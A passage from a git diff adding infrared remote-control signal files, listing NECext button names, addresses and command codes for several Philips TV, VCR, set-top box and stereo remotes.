00 00 +# +name: vcr/stt.suspend +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: tv/standby +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: vcr/standby +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: tv/mute +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: tv/s1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: vcr/s1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: tv/sext +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: tv/sok +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: vcr/select +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0F 00 00 00 +# +name: tv/volume+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: tv/volume- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: tv/s5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: vcr/tt.suspend +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: tv/program+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: vcr/program+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: tv/program- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: vcr/program- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: tv/s0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: tv/smute +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: vcr/sbackward +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: vcr/sforward +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: tv/tt.suspend +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: vcr/spause +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: tv/s3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: tv/tt.enlarge +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: tv/s4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: tv/s2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: vcr/pause +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: vcr/sdisplay +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: vcr/backward +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: vcr/forward +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: vcr/play +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: vcr/stop +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: vcr/record +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: tv/ext +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: vcr/ext +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 38 00 00 00 +# +name: vcr/stt.enlarge +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3A 00 00 00 +# +name: tv/text +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: vcr/text +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: vcr/stext +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3D 00 00 00 +# +name: tv/select +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: vcr/tt.enlarge +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 45 00 00 00 +# +name: vcr/s3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 48 00 00 00 +# +name: vcr/s2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 49 00 00 00 +# +name: tv/s9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: tv/s7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: tv/sprogram+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: vcr/sprogram+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 50 00 00 00 +# +name: tv/sprogram- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: vcr/sprogram- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 51 00 00 00 +# +name: tv/menu +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: vcr/menu +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 52 00 00 00 +# +name: vcr/smenu +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 53 00 00 00 +# +name: tv/svol- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: vcr/svol- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 55 00 00 00 +# +name: tv/svol+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: vcr/svol+ +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 +# +name: tv/ok +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: vcr/ok +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 57 00 00 00 +# +name: tv/s6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: tv/red +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: tv/green +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: tv/yellow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: tv/blue +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: tv/grey +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: vcr/splay +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 70 00 00 00 +# +name: vcr/sstop +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 71 00 00 00 +# +name: tv/smenu +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7A 00 00 00 +# +name: vcr/sok +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7D 00 00 00 +# +name: tv/s8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir new file mode 100644 index 000000000..7a2ef0328 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: Shift_-/-- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: Shift_One +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: Shift_AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: Shift_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: Shift_Five +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: Shift_Zero +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: Shift_Mute +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: Shift_Three +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: Shift_Four +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: Shift_Two +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: Shift_Nine +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: Shift_Seven +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: Shift_Up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: Shift_Down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: Shift_Left +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: Shift_Right +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: Shift_Six +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: Shift_Red +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: Shift_Green +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: Shift_Yellow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: Shift_Blue +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: Shift_Power +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: Shift_Menu +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7A 00 00 00 +# +name: Shift_Eight +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir new file mode 100644 index 000000000..bcb0273a9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 09 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0A 00 00 00 +# +name: PROG+ +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 20 00 00 00 +# +name: PROG- +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 21 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 30 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 32 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 36 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 37 00 00 00 +# +name: SCART +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 38 00 00 00 +# +name: PP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 3A 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 50 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 51 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 52 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 55 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 56 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir new file mode 100644 index 000000000..c6b9956d5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 09 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 21 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 3C 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 4B 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 4E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 54 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 55 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 5C 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 6D 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 6E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 6F 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 70 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 75 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 84 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 27 00 00 00 +command: B0 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 27 00 00 00 +command: CB 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 27 00 00 00 +command: CC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir new file mode 100644 index 000000000..cc0d752f0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: mce +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: prev_track +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1C 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: tv_play +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: tv_rec +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 +# +name: KEY_T +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir new file mode 100644 index 000000000..20398a9cf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: Surround +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: ShiftMute +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: PP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: TextHalt +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: a1829 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: TextOff +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: TextOff +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: Disc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: A/V +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: Install +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 78 00 00 00 +# +name: Breitbild +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir new file mode 100644 index 000000000..dd41b2959 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: unknown4 +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 0C 00 00 00 +# +name: unknown1 +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 16 00 00 00 +# +name: unknown6 +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 17 00 00 00 +# +name: unknown5 +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 1B 00 00 00 +# +name: unknown2 +type: parsed +protocol: 